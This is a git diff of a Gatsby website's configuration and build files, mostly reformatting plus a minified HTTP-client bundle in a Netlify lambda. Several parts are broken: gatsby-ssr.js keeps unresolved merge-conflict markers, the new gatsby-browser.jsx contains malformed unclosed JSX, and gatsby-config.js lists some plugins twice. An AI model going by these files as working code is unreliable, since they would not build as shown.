+    if ( initialized && 'onGatsbyRouteUpdate' in window && typeof window.onGatsbyRouteUpdate === 'function' ) {
+        window.onGatsbyRouteUpdate();
+    }
 };
 exports.onPreRouteUpdate = () => {
-  if ( initialized && 'onGatsbyPreRouteUpdate' in window && typeof window.onGatsbyPreRouteUpdate === 'function' ) {
-    window.onGatsbyPreRouteUpdate();
-  }
+    if ( initialized && 'onGatsbyPreRouteUpdate' in window && typeof window.onGatsbyPreRouteUpdate === 'function' ) {
+        window.onGatsbyPreRouteUpdate();
+    }
 };
diff --git a/gatsby-browser.jsx b/gatsby-browser.jsx
new file mode 100644
index 0000000000..9c867a7d5e
--- /dev/null
+++ b/gatsby-browser.jsx
@@ -0,0 +1,9 @@
+const React = require("react")
+const Layout = require("./src/components/layout")
+// Logs when the client route changes
+exports.onRouteUpdate = ({ location, prevLocation }) => {
+  console.log("new pathname", location.pathname)
+  console.log("old pathname", prevLocation ? prevLocation.pathname : null)
+}
+// Wraps every page in a component
+exports.wrapPageElement = ({ element, props }) => {<Layout {...props}>{element}</Layout>
\ No newline at end of file
diff --git a/gatsby-config.js b/gatsby-config.js
index e7ab2591c0..41e481b0ee 100644
--- a/gatsby-config.js
+++ b/gatsby-config.js
@@ -1,44 +1,82 @@
-const siteMetadata = require( './site-metadata.json' );
+/* Importing the site-metadata.json file and exporting it as a module. */
+const siteMetadata = require('./site-metadata.json');
 module.exports = {
-  pathPrefix: '/',
-  siteMetadata: siteMetadata,
-  plugins: [
-    `gatsby-plugin-react-helmet`,
-    `gatsby-source-data`,
-    `gatsby-transformer-remark`,
-    {
-      resolve: `gatsby-source-filesystem`,
-      options: {
-        name: `pages`,
-        path: `${__dirname}/src/pages`
-      }
-    },
-    {
-      resolve: `gatsby-plugin-disqus`,
-      options: {
-        shortname: `webdevhub-1`,
-      }
-    },
-    {
-      resolve: `gatsby-plugin-sass`,
-      options: {}
-    },
-    {
-      resolve: `gatsby-remark-page-creator`,
-      options: {}
-    },
-    {
-      resolve: `@stackbit/gatsby-plugin-menus`,
-      options: {
-        sourceUrlPath: `fields.url`,
-        pageContextProperty: `menus`,
-      },
-    },
-    {
-      resolve: `gatsby-plugin-disqus`,
-      options: {
-        shortname: `webdevhub-1`
-      }
-    },
-  ]
+    pathPrefix: '/',
+    siteMetadata,
+    plugins: [
+        'gatsby-plugin-react-helmet',
+        'gatsby-source-data',
+        'gatsby-transformer-remark',
+        {
+            resolve: 'gatsby-source-filesystem',
+            options: {
+                name: 'pages',
+                path: `${__dirname}/src/pages`
+            }
+        },
+        {
+            resolve: 'gatsby-transformer-remark',
+            options: {
+                plugins: ['gatsby-remark-prismjs'],
+            },
+        },
+        {
+            resolve: 'gatsby-remark-code-buttons',
+            options: {
+                // Optional button container class name. Defaults
+                // to 'gatsby-code-button-container'.
+                buttonContainerClass: 'customButtonContainerClass',
+                // Optional button class name. Defaults to 'gatsby-code-button'.
+                buttonClass: 'customButtonClass',
+                // Optional button text. Defaults to ''.
+                buttonText: 'customButtonText',
+                // Optional svg icon class name. Defaults to 'gatsby-code-button-icon'.
+                svgIconClass: 'customSvgIconClass',
+                // Optional svg icon. Defaults to svg string and can be
+                // replaced with any other valid svg. Use custom classes
+                // in the svg string and skip `iconClass` option.
+                svgIcon: 'customSvgIcon',
+                // Optional tooltip text. Defaults to ''.
+                tooltipText: 'customTooltipText',
+                // Optional toaster class name. Defaults to ''.
+                toasterClass: 'customToasterClass',
+                // Optional toaster text class name. Defaults to ''.
+                toasterTextClass: 'customToasterTextClass',
+                // Optional toaster text. Defaults to ''.
+                toasterText: 'customToasterText',
+                // Optional toaster duration. Defaults to 3500.
+                toasterDuration: 5000
+            },
+        },
+        {
+            resolve: 'gatsby-plugin-disqus',
+            options: {
+                shortname: 'webdevhub-1',
+            }
+        },
+        {
+            resolve: 'gatsby-plugin-no-sourcemaps',
+        },
+        {
+            resolve: 'gatsby-plugin-sass',
+            options: {}
+        },
+        {
+            resolve: 'gatsby-remark-page-creator',
+            options: {}
+        },
+        {
+            resolve: '@stackbit/gatsby-plugin-menus',
+            options: {
+                sourceUrlPath: 'fields.url',
+                pageContextProperty: 'menus',
+            },
+        },
+        {
+            resolve: 'gatsby-plugin-disqus',
+            options: {
+                shortname: 'webdevhub-1'
+            }
+        },
+    ]
 };
diff --git a/gatsby-node.js b/gatsby-node.js
index a1bfac02e7..ea499190fe 100644
--- a/gatsby-node.js
+++ b/gatsby-node.js
@@ -1,5 +1,11 @@
-/**
- * Implement Gatsby's Node APIs in this file.
- *
- * See: https://www.gatsbyjs.org/docs/node-apis/
- */
+// const path = require('path');
+// 
+// exports.onCreateWebpackConfig = ({
+//     actions
+// }) => {
+//     actions.setWebpackConfig({
+//         resolve: {
+//             modules: [path.resolve(__dirname, 'src'), 'node_modules']
+//         }
+//     });
+// };
diff --git a/gatsby-ssr.js b/gatsby-ssr.js
index 506dc68bf4..ee23f0b8c3 100644
--- a/gatsby-ssr.js
+++ b/gatsby-ssr.js
@@ -1,3 +1,4 @@
+/* It's adding the scripts to the page. */
 /**
  * Implement Gatsby's SSR (Server Side Rendering) APIs in this file.
  *
@@ -8,6 +9,7 @@
 //<script src={withPrefix('js/analytics.js')} /> }
  * See: https://www.gatsbyjs.org/docs/ssr-apis/
  */
+<<<<<<< HEAD
 const React = require( "react" );
 const withPrefix = require( "./src/utils/withPrefix" ).default;
 exports.onRenderBody = function ( {setHeadComponents,setPostBodyComponents} ) {
@@ -27,4 +29,32 @@ exports.onRenderBody = function ( {setHeadComponents,setPostBodyComponents} ) {
         < script src={ withPrefix( 'js/search-create.js' ) } />
     </React.Fragment>
     ] );
+=======
+
+const React = require('react');
+const withPrefix = require('./src/utils/withPrefix').default;
+
+exports.onRenderBody = function ({ setHeadComponents, setPostBodyComponents }) {
+    setHeadComponents([]);
+
+    setPostBodyComponents([
+        <React.Fragment>
+            <script src={withPrefix('js/algolia.js')} />
+            <script src={withPrefix('js/google-analytics.js')} />
+            <script src={withPrefix('js/blm.js')} />
+            <script src={withPrefix('js/goog-search.js')} />
+            <script src={withPrefix('js/main.js')} />
+            <script src={withPrefix('js/netlify-identity.js')} />
+            <script src={withPrefix('js/page-load.js')} />
+            <script src={withPrefix('js/page-unload.js')} />
+            <script src={withPrefix('js/plugins.js')} />
+            <script src={withPrefix('js/prettier.js')} />
+            <script src={withPrefix('js/prism.js')} />
+            <script src={withPrefix('js/searchbar.js')} />
+            <script src={withPrefix('js/search-create.js')} />
+            <script src={withPrefix('js/syntax.js')} />
+            <script src={withPrefix('js/ukraine.js')} />
+        </React.Fragment>
+    ]);
+>>>>>>> master
 };
diff --git a/install-dependencies.js b/install-dependencies.js
index 0ed8431fb5..046effeda8 100644
--- a/install-dependencies.js
+++ b/install-dependencies.js
@@ -1,33 +1,37 @@
+/**
+ * It installs all the dependencies in the current directory and all the subdirectories
+ * @param cwd - The current working directory of the child process
+ */
 /* eslint-disable eol-last */
-const fs = require( 'fs/promises' );
+const fs = require('fs/promises');
 const {
-  spawn
-} = require( 'child_process' );
-const path = require( 'path' );
+    spawn
+} = require('child_process');
+const path = require('path');
 const root = process.cwd();
 // eslint-disable-next-line func-style
-function npmInstall( cwd ) {
-  return new Promise( ( resolve ) => {
-    const childProcess = spawn( 'npm', [ 'install' ], {
-      cwd
-    } );
-    childProcess.on( 'exit', resolve );
-  } );
+function npmInstall(cwd) {
+    return new Promise((resolve) => {
+        const childProcess = spawn('npm', ['install'], {
+            cwd
+        });
+        childProcess.on('exit', resolve);
+    });
 }
 // eslint-disable-next-line func-style
 async function install() {
-  const base = path.resolve( root );
-  const ignoreFolders = [ 'node_modules' ];
-  const deps = ( await fs.readdir( base, {
-      withFileTypes: true
-    } ) )
-    .filter( ( dep ) => dep.isDirectory() )
-    .filter( ( dep ) => !ignoreFolders.includes( dep.name ) )
-    .map( ( folder ) => path.resolve( base, folder.name ) )
-    .concat( [ base ] )
-    .map( ( dep ) => npmInstall( dep ) );
-  await Promise.all( deps );
-  // eslint-disable-next-line no-console
-  console.log( 'Done!' );
+    const base = path.resolve(root);
+    const ignoreFolders = ['node_modules'];
+    const deps = (await fs.readdir(base, {
+            withFileTypes: true
+        }))
+        .filter((dep) => dep.isDirectory())
+        .filter((dep) => !ignoreFolders.includes(dep.name))
+        .map((folder) => path.resolve(base, folder.name))
+        .concat([base])
+        .map((dep) => npmInstall(dep));
+    await Promise.all(deps);
+    // eslint-disable-next-line no-console
+    console.log('Done!');
 }
-install();
+install();
\ No newline at end of file
diff --git a/lambda/deploy-succeeded.js b/lambda/deploy-succeeded.js
index db8c6d6b23..aa7c1fa1af 100644
--- a/lambda/deploy-succeeded.js
+++ b/lambda/deploy-succeeded.js
@@ -1,72 +1,58 @@
-!(function(e, t) {
+!(function (e, t) {
     for (var r in t) e[r] = t[r];
 })(
     exports,
-    (function(e) {
+    (function (e) {
         var t = {};
         function r(n) {
             if (t[n]) return t[n].exports;
-            var o = (t[n] = {
-                i: n,
-                l: !1,
-                exports: {}
-            });
+            var o = (t[n] = { i: n, l: !1, exports: {} });
             return e[n].call(o.exports, o, o.exports, r), (o.l = !0), o.exports;
         }
         return (
             (r.m = e),
             (r.c = t),
-            (r.d = function(e, t, n) {
-                r.o(e, t) || Object.defineProperty(e, t, {
-                    enumerable: !0,
-                    get: n
-                });
+            (r.d = function (e, t, n) {
+                r.o(e, t) || Object.defineProperty(e, t, { enumerable: !0, get: n });
             }),
-            (r.r = function(e) {
-                'undefined' != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
-                        value: 'Module'
-                    }),
-                    Object.defineProperty(e, '__esModule', {
-                        value: !0
-                    });
+            (r.r = function (e) {
+                'undefined' != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { value: 'Module' }),
+                    Object.defineProperty(e, '__esModule', { value: !0 });
             }),
-            (r.t = function(e, t) {
+            (r.t = function (e, t) {
                 if ((1 & t && (e = r(e)), 8 & t)) return e;
                 if (4 & t && 'object' == typeof e && e && e.__esModule) return e;
                 var n = Object.create(null);
-                if ((r.r(n), Object.defineProperty(n, 'default', {
-                        enumerable: !0,
-                        value: e
-                    }), 2 & t && 'string' != typeof e))
+                if ((r.r(n), Object.defineProperty(n, 'default', { enumerable: !0, value: e }), 2 & t && 'string' != typeof e))
                     for (var o in e)
                         r.d(
                             n,
                             o,
-                            function(t) {
+                            function (t) {
                                 return e[t];
                             }.bind(null, o)
                         );
                 return n;
             }),
-            (r.n = function(e) {
+            (r.n = function (e) {
                 var t =
-                    e && e.__esModule ?
-                    function() {
-                        return e.default;
-                    } :
-                    function() {
-                        return e;
-                    };
+                    e && e.__esModule
+                        ? function () {
+                              return e.default;
+                          }
+                        : function () {
+                              return e;
+                          };
                 return r.d(t, 'a', t), t;
             }),
-            (r.o = function(e, t) {
+            (r.o = function (e, t) {
                 return Object.prototype.hasOwnProperty.call(e, t);
             }),
             (r.p = ''),
             r((r.s = 16))
         );
     })([
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(3),
                 o = Object.prototype.toString;
@@ -84,17 +70,15 @@
             }
             function c(e, t) {
                 if (null != e)
-                    if (('object' != typeof e && (e = [e]), s(e)))
-                        for (var r = 0, n = e.length; r < n; r++) t.call(null, e[r], r, e);
-                    else
-                        for (var o in e) Object.prototype.hasOwnProperty.call(e, o) && t.call(null, e[o], o, e);
+                    if (('object' != typeof e && (e = [e]), s(e))) for (var r = 0, n = e.length; r < n; r++) t.call(null, e[r], r, e);
+                    else for (var o in e) Object.prototype.hasOwnProperty.call(e, o) && t.call(null, e[o], o, e);
             }
             e.exports = {
                 isArray: s,
-                isArrayBuffer: function(e) {
+                isArrayBuffer: function (e) {
                     return '[object ArrayBuffer]' === o.call(e);
                 },
-                isBuffer: function(e) {
+                isBuffer: function (e) {
                     return (
                         null !== e &&
                         !i(e) &&
@@ -104,37 +88,37 @@
                         e.constructor.isBuffer(e)
                     );
                 },
-                isFormData: function(e) {
+                isFormData: function (e) {
                     return 'undefined' != typeof FormData && e instanceof FormData;
                 },
-                isArrayBufferView: function(e) {
+                isArrayBufferView: function (e) {
                     return 'undefined' != typeof ArrayBuffer && ArrayBuffer.isView ? ArrayBuffer.isView(e) : e && e.buffer && e.buffer instanceof ArrayBuffer;
                 },
-                isString: function(e) {
+                isString: function (e) {
                     return 'string' == typeof e;
                 },
-                isNumber: function(e) {
+                isNumber: function (e) {
                     return 'number' == typeof e;
                 },
                 isObject: a,
                 isUndefined: i,
-                isDate: function(e) {
+                isDate: function (e) {
                     return '[object Date]' === o.call(e);
                 },
-                isFile: function(e) {
+                isFile: function (e) {
                     return '[object File]' === o.call(e);
                 },
-                isBlob: function(e) {
+                isBlob: function (e) {
                     return '[object Blob]' === o.call(e);
                 },
                 isFunction: u,
-                isStream: function(e) {
+                isStream: function (e) {
                     return a(e) && u(e.pipe);
                 },
-                isURLSearchParams: function(e) {
+                isURLSearchParams: function (e) {
                     return 'undefined' != typeof URLSearchParams && e instanceof URLSearchParams;
                 },
-                isStandardBrowserEnv: function() {
+                isStandardBrowserEnv: function () {
                     return (
                         ('undefined' == typeof navigator ||
                             ('ReactNative' !== navigator.product && 'NativeScript' !== navigator.product && 'NS' !== navigator.product)) &&
@@ -159,20 +143,20 @@
                     for (var n = 0, o = arguments.length; n < o; n++) c(arguments[n], r);
                     return t;
                 },
-                extend: function(e, t, r) {
+                extend: function (e, t, r) {
                     return (
-                        c(t, function(t, o) {
+                        c(t, function (t, o) {
                             e[o] = r && 'function' == typeof t ? n(t, r) : t;
                         }),
                         e
                     );
                 },
-                trim: function(e) {
+                trim: function (e) {
                     return e.replace(/^\s*/, '').replace(/\s*$/, '');
                 }
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0);
             function o(e) {
@@ -185,87 +169,86 @@
                     .replace(/%5B/gi, '[')
                     .replace(/%5D/gi, ']');
             }
-            e.exports = function(e, t, r) {
+            e.exports = function (e, t, r) {
                 if (!t) return e;
                 var s;
                 if (r) s = r(t);
                 else if (n.isURLSearchParams(t)) s = t.toString();
                 else {
                     var i = [];
-                    n.forEach(t, function(e, t) {
-                            null != e &&
-                                (n.isArray(e) ? (t += '[]') : (e = [e]),
-                                    n.forEach(e, function(e) {
-                                        n.isDate(e) ? (e = e.toISOString()) : n.isObject(e) && (e = JSON.stringify(e)), i.push(o(t) + '=' + o(e));
-                                    }));
-                        }),
+                    n.forEach(t, function (e, t) {
+                        null != e &&
+                            (n.isArray(e) ? (t += '[]') : (e = [e]),
+                            n.forEach(e, function (e) {
+                                n.isDate(e) ? (e = e.toISOString()) : n.isObject(e) && (e = JSON.stringify(e)), i.push(o(t) + '=' + o(e));
+                            }));
+                    }),
                         (s = i.join('&'));
                 }
                 if (s) {
-                    var a = e.indexOf('#'); -
-                    1 !== a && (e = e.slice(0, a)), (e += (-1 === e.indexOf('?') ? '?' : '&') + s);
+                    var a = e.indexOf('#');
+                    -1 !== a && (e = e.slice(0, a)), (e += (-1 === e.indexOf('?') ? '?' : '&') + s);
                 }
                 return e;
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(7);
-            e.exports = function(e, t, r, o, s) {
+            e.exports = function (e, t, r, o, s) {
                 var i = new Error(e);
                 return n(i, t, r, o, s);
             };
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
-            e.exports = function(e, t) {
-                return function() {
+            e.exports = function (e, t) {
+                return function () {
                     for (var r = new Array(arguments.length), n = 0; n < r.length; n++) r[n] = arguments[n];
                     return e.apply(t, r);
                 };
             };
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
-            e.exports = function(e) {
+            e.exports = function (e) {
                 return !(!e || !e.__CANCEL__);
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0),
                 o = r(23),
-                s = {
-                    'Content-Type': 'application/x-www-form-urlencoded'
-                };
+                s = { 'Content-Type': 'application/x-www-form-urlencoded' };
             function i(e, t) {
                 !n.isUndefined(e) && n.isUndefined(e['Content-Type']) && (e['Content-Type'] = t);
             }
             var a,
                 u = {
-                    adapter: ('undefined' != typeof XMLHttpRequest ?
-                        (a = r(24)) :
-                        'undefined' != typeof process && '[object process]' === Object.prototype.toString.call(process) && (a = r(31)),
+                    adapter:
+                        ('undefined' != typeof XMLHttpRequest
+                            ? (a = r(24))
+                            : 'undefined' != typeof process && '[object process]' === Object.prototype.toString.call(process) && (a = r(31)),
                         a),
                     transformRequest: [
-                        function(e, t) {
+                        function (e, t) {
                             return (
                                 o(t, 'Accept'),
                                 o(t, 'Content-Type'),
-                                n.isFormData(e) || n.isArrayBuffer(e) || n.isBuffer(e) || n.isStream(e) || n.isFile(e) || n.isBlob(e) ?
-                                e :
-                                n.isArrayBufferView(e) ?
-                                e.buffer :
-                                n.isURLSearchParams(e) ?
-                                (i(t, 'application/x-www-form-urlencoded;charset=utf-8'), e.toString()) :
-                                n.isObject(e) ?
-                                (i(t, 'application/json;charset=utf-8'), JSON.stringify(e)) :
-                                e
+                                n.isFormData(e) || n.isArrayBuffer(e) || n.isBuffer(e) || n.isStream(e) || n.isFile(e) || n.isBlob(e)
+                                    ? e
+                                    : n.isArrayBufferView(e)
+                                    ? e.buffer
+                                    : n.isURLSearchParams(e)
+                                    ? (i(t, 'application/x-www-form-urlencoded;charset=utf-8'), e.toString())
+                                    : n.isObject(e)
+                                    ? (i(t, 'application/json;charset=utf-8'), JSON.stringify(e))
+                                    : e
                             );
                         }
                     ],
                     transformResponse: [
-                        function(e) {
+                        function (e) {
                             if ('string' == typeof e)
                                 try {
                                     e = JSON.parse(e);
@@ -277,41 +260,37 @@
                     xsrfCookieName: 'XSRF-TOKEN',
                     xsrfHeaderName: 'X-XSRF-TOKEN',
                     maxContentLength: -1,
-                    validateStatus: function(e) {
+                    validateStatus: function (e) {
                         return e >= 200 && e < 300;
                     }
                 };
-            (u.headers = {
-                common: {
-                    Accept: 'application/json, text/plain, */*'
-                }
-            }),
-            n.forEach(['delete', 'get', 'head'], function(e) {
+            (u.headers = { common: { Accept: 'application/json, text/plain, */*' } }),
+                n.forEach(['delete', 'get', 'head'], function (e) {
                     u.headers[e] = {};
                 }),
-                n.forEach(['post', 'put', 'patch'], function(e) {
+                n.forEach(['post', 'put', 'patch'], function (e) {
                     u.headers[e] = n.merge(s);
                 }),
                 (e.exports = u);
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(2);
-            e.exports = function(e, t, r) {
+            e.exports = function (e, t, r) {
                 var o = r.config.validateStatus;
                 !o || o(r.status) ? e(r) : t(n('Request failed with status code ' + r.status, r.config, null, r.request, r));
             };
         },
-        function(e, _t, _r) {
+        function (e, t, r) {
             'use strict';
-            e.exports = function(e, t, r, n, o) {
+            e.exports = function (e, t, r, n, o) {
                 return (
                     (e.config = t),
                     r && (e.code = r),
                     (e.request = n),
                     (e.response = o),
                     (e.isAxiosError = !0),
-                    (e.toJSON = function() {
+                    (e.toJSON = function () {
                         return {
                             message: this.message,
                             name: this.name,
@@ -329,33 +308,28 @@
                 );
             };
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(25),
                 o = r(26);
-            e.exports = function(e, t) {
+            e.exports = function (e, t) {
                 return e && !n(t) ? o(e, t) : t;
             };
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('http');
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('https');
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             var n = r(12),
                 o = r(9),
                 s = r(10),
                 i = r(32),
                 a = r(33).Writable,
                 u = r(34)('follow-redirects'),
-                c = {
-                    GET: !0,
-                    HEAD: !0,
-                    OPTIONS: !0,
-                    TRACE: !0
-                },
+                c = { GET: !0, HEAD: !0, OPTIONS: !0, TRACE: !0 },
                 f = Object.create(null);
             function p(e, t) {
                 a.call(this),
@@ -369,10 +343,10 @@
                     t && this.on('response', t);
                 var r = this;
                 if (
-                    ((this._onNativeResponse = function(e) {
-                            r._processResponse(e);
-                        }),
-                        !e.pathname && e.path)
+                    ((this._onNativeResponse = function (e) {
+                        r._processResponse(e);
+                    }),
+                    !e.pathname && e.path)
                 ) {
                     var n = e.path.indexOf('?');
                     n < 0 ? (e.pathname = e.path) : ((e.pathname = e.path.substring(0, n)), (e.search = e.path.substring(n)));
@@ -380,87 +354,82 @@
                 this._performRequest();
             }
             function l(e) {
-                var t = {
-                        maxRedirects: 21,
-                        maxBodyLength: 10485760
-                    },
+                var t = { maxRedirects: 21, maxBodyLength: 10485760 },
                     r = {};
                 return (
-                    Object.keys(e).forEach(function(o) {
+                    Object.keys(e).forEach(function (o) {
                         var s = o + ':',
                             a = (r[s] = e[o]),
                             c = (t[o] = Object.create(a));
-                        (c.request = function(e, o) {
+                        (c.request = function (e, o) {
                             return (
-                                'string' == typeof e ?
-                                ((e = n.parse(e)).maxRedirects = t.maxRedirects) :
-                                (e = Object.assign({
-                                        protocol: s,
-                                        maxRedirects: t.maxRedirects,
-                                        maxBodyLength: t.maxBodyLength
-                                    },
-                                    e
-                                )),
+                                'string' == typeof e
+                                    ? ((e = n.parse(e)).maxRedirects = t.maxRedirects)
+                                    : (e = Object.assign(
+                                          {
+                                              protocol: s,
+                                              maxRedirects: t.maxRedirects,
+                                              maxBodyLength: t.maxBodyLength
+                                          },
+                                          e
+                                      )),
                                 (e.nativeProtocols = r),
                                 i.equal(e.protocol, s, 'protocol mismatch'),
                                 u('options', e),
                                 new p(e, o)
                             );
                         }),
-                        (c.get = function(e, t) {
-                            var r = c.request(e, t);
-                            return r.end(), r;
-                        });
+                            (c.get = function (e, t) {
+                                var r = c.request(e, t);
+                                return r.end(), r;
+                            });
                     }),
                     t
                 );
             }
-            ['abort', 'aborted', 'error', 'socket', 'timeout'].forEach(function(e) {
-                    f[e] = function(t) {
-                        this._redirectable.emit(e, t);
-                    };
-                }),
+            ['abort', 'aborted', 'error', 'socket', 'timeout'].forEach(function (e) {
+                f[e] = function (t) {
+                    this._redirectable.emit(e, t);
+                };
+            }),
                 (p.prototype = Object.create(a.prototype)),
-                (p.prototype.write = function(e, t, r) {
+                (p.prototype.write = function (e, t, r) {
                     if (!('string' == typeof e || ('object' == typeof e && 'length' in e))) throw new Error('data should be a string, Buffer or Uint8Array');
                     'function' == typeof t && ((r = t), (t = null)),
-                        0 !== e.length ?
-                        this._requestBodyLength + e.length <= this._options.maxBodyLength ?
-                        ((this._requestBodyLength += e.length),
-                            this._requestBodyBuffers.push({
-                                data: e,
-                                encoding: t
-                            }),
-                            this._currentRequest.write(e, t, r)) :
-                        (this.emit('error', new Error('Request body larger than maxBodyLength limit')), this.abort()) :
-                        r && r();
+                        0 !== e.length
+                            ? this._requestBodyLength + e.length <= this._options.maxBodyLength
+                                ? ((this._requestBodyLength += e.length),
+                                  this._requestBodyBuffers.push({ data: e, encoding: t }),
+                                  this._currentRequest.write(e, t, r))
+                                : (this.emit('error', new Error('Request body larger than maxBodyLength limit')), this.abort())
+                            : r && r();
                 }),
-                (p.prototype.end = function(e, t, r) {
+                (p.prototype.end = function (e, t, r) {
                     'function' == typeof e ? ((r = e), (e = t = null)) : 'function' == typeof t && ((r = t), (t = null));
                     var n = this._currentRequest;
-                    this.write(e || '', t, function() {
+                    this.write(e || '', t, function () {
                         n.end(null, null, r);
                     });
                 }),
-                (p.prototype.setHeader = function(e, t) {
+                (p.prototype.setHeader = function (e, t) {
                     (this._options.headers[e] = t), this._currentRequest.setHeader(e, t);
                 }),
-                (p.prototype.removeHeader = function(e) {
+                (p.prototype.removeHeader = function (e) {
                     delete this._options.headers[e], this._currentRequest.removeHeader(e);
                 }),
-                ['abort', 'flushHeaders', 'getHeader', 'setNoDelay', 'setSocketKeepAlive', 'setTimeout'].forEach(function(e) {
-                    p.prototype[e] = function(t, r) {
+                ['abort', 'flushHeaders', 'getHeader', 'setNoDelay', 'setSocketKeepAlive', 'setTimeout'].forEach(function (e) {
+                    p.prototype[e] = function (t, r) {
                         return this._currentRequest[e](t, r);
                     };
                 }),
-                ['aborted', 'connection', 'socket'].forEach(function(e) {
+                ['aborted', 'connection', 'socket'].forEach(function (e) {
                     Object.defineProperty(p.prototype, e, {
-                        get: function() {
+                        get: function () {
                             return this._currentRequest[e];
                         }
                     });
                 }),
-                (p.prototype._performRequest = function() {
+                (p.prototype._performRequest = function () {
                     var e = this._options.protocol,
                         t = this._options.nativeProtocols[e];
                     if (t) {
@@ -482,7 +451,7 @@
                         }
                     } else this.emit('error', new Error('Unsupported protocol ' + e));
                 }),
-                (p.prototype._processResponse = function(e) {
+                (p.prototype._processResponse = function (e) {
                     this._options.trackRedirects &&
                         this._redirects.push({
                             url: this._currentUrl,
@@ -496,22 +465,18 @@
                             o = this._options.headers;
                         if (307 !== e.statusCode && !(this._options.method in c))
                             for (r in ((this._options.method = 'GET'), (this._requestBodyBuffers = []), o)) /^content-/i.test(r) && delete o[r];
-                        if (!this._isRedirect)
-                            for (r in o) /^host$/i.test(r) && delete o[r];
+                        if (!this._isRedirect) for (r in o) /^host$/i.test(r) && delete o[r];
                         var s = n.resolve(this._currentUrl, t);
                         u('redirecting to', s), Object.assign(this._options, n.parse(s)), (this._isRedirect = !0), this._performRequest(), e.destroy();
-                    } else(e.responseUrl = this._currentUrl), (e.redirects = this._redirects), this.emit('response', e), (this._requestBodyBuffers = []);
+                    } else (e.responseUrl = this._currentUrl), (e.redirects = this._redirects), this.emit('response', e), (this._requestBodyBuffers = []);
                 }),
-                (e.exports = l({
-                    http: o,
-                    https: s
-                })),
+                (e.exports = l({ http: o, https: s })),
                 (e.exports.wrap = l);
         },
-        function(e, _t) {
+        function (e, t) {
             e.exports = require('url');
         },
-        function(e, t, r) {
+        function (e, t, r) {
             function n(e) {
                 var r;
                 function n() {
@@ -523,7 +488,7 @@
                         for (var i = new Array(arguments.length), a = 0; a < i.length; a++) i[a] = arguments[a];
                         (i[0] = t.coerce(i[0])), 'string' != typeof i[0] && i.unshift('%O');
                         var u = 0;
-                        (i[0] = i[0].replace(/%([a-zA-Z%])/g, function(r, n) {
+                        (i[0] = i[0].replace(/%([a-zA-Z%])/g, function (r, n) {
                             if ('%%' === r) return r;
                             u++;
                             var o = t.formatters[n];
@@ -533,7 +498,7 @@
                             }
                             return r;
                         })),
-                        t.formatArgs.call(e, i);
+                            t.formatArgs.call(e, i);
                         var c = n.log || t.log || console.log.bind(console);
                         c.apply(e, i);
                     }
@@ -542,10 +507,10 @@
                     (n.namespace = e),
                     (n.enabled = t.enabled(e)),
                     (n.useColors = t.useColors()),
-                    (n.color = (function(e) {
+                    (n.color = (function (e) {
                         var r,
                             n = 0;
-                        for (r in e)(n = (n << 5) - n + e.charCodeAt(r)), (n |= 0);
+                        for (r in e) (n = (n << 5) - n + e.charCodeAt(r)), (n |= 0);
                         return t.colors[Math.abs(n) % t.colors.length];
                     })(e)),
                     (n.destroy = o),
@@ -558,46 +523,44 @@
                 var e = t.instances.indexOf(this);
                 return -1 !== e && (t.instances.splice(e, 1), !0);
             }
-            ((t = e.exports = n.debug = n.default = n).coerce = function(e) {
+            ((t = e.exports = n.debug = n.default = n).coerce = function (e) {
                 return e instanceof Error ? e.stack || e.message : e;
             }),
-            (t.disable = function() {
-                t.enable('');
-            }),
-            (t.enable = function(e) {
-                var r;
-                t.save(e), (t.names = []), (t.skips = []);
-                var n = ('string' == typeof e ? e : '').split(/[\s,]+/),
-                    o = n.length;
-                for (r = 0; r < o; r++)
-                    n[r] &&
-                    ('-' === (e = n[r].replace(/\*/g, '.*?'))[0] ?
-                        t.skips.push(new RegExp('^' + e.substr(1) + '$')) :
-                        t.names.push(new RegExp('^' + e + '$')));
-                for (r = 0; r < t.instances.length; r++) {
-                    var s = t.instances[r];
-                    s.enabled = t.enabled(s.namespace);
-                }
-            }),
-            (t.enabled = function(e) {
-                if ('*' === e[e.length - 1]) return !0;
-                var r, n;
-                for (r = 0, n = t.skips.length; r < n; r++)
-                    if (t.skips[r].test(e)) return !1;
-                for (r = 0, n = t.names.length; r < n; r++)
-                    if (t.names[r].test(e)) return !0;
-                return !1;
-            }),
-            (t.humanize = r(36)),
-            (t.instances = []),
-            (t.names = []),
-            (t.skips = []),
-            (t.formatters = {});
+                (t.disable = function () {
+                    t.enable('');
+                }),
+                (t.enable = function (e) {
+                    var r;
+                    t.save(e), (t.names = []), (t.skips = []);
+                    var n = ('string' == typeof e ? e : '').split(/[\s,]+/),
+                        o = n.length;
+                    for (r = 0; r < o; r++)
+                        n[r] &&
+                            ('-' === (e = n[r].replace(/\*/g, '.*?'))[0]
+                                ? t.skips.push(new RegExp('^' + e.substr(1) + '$'))
+                                : t.names.push(new RegExp('^' + e + '$')));
+                    for (r = 0; r < t.instances.length; r++) {
+                        var s = t.instances[r];
+                        s.enabled = t.enabled(s.namespace);
+                    }
+                }),
+                (t.enabled = function (e) {
+                    if ('*' === e[e.length - 1]) return !0;
+                    var r, n;
+                    for (r = 0, n = t.skips.length; r < n; r++) if (t.skips[r].test(e)) return !1;
+                    for (r = 0, n = t.names.length; r < n; r++) if (t.names[r].test(e)) return !0;
+                    return !1;
+                }),
+                (t.humanize = r(36)),
+                (t.instances = []),
+                (t.names = []),
+                (t.skips = []),
+                (t.formatters = {});
         },
-        function(e, _t, r) {
+        function (e, t, r) {
             'use strict';
             var n = r(0);
-            e.exports = function(e, t) {
+            e.exports = function (e, t) {
                 t = t || {};
                 var r = {},
                     o = ['url', 'method', 'params', 'data'],
@@ -624,74 +587,65 @@
                         'cancelToken',
                         'socketPath'
                     ];
-                n.forEach(o, function(e) {
-                        void 0 !== t[e] && (r[e] = t[e]);
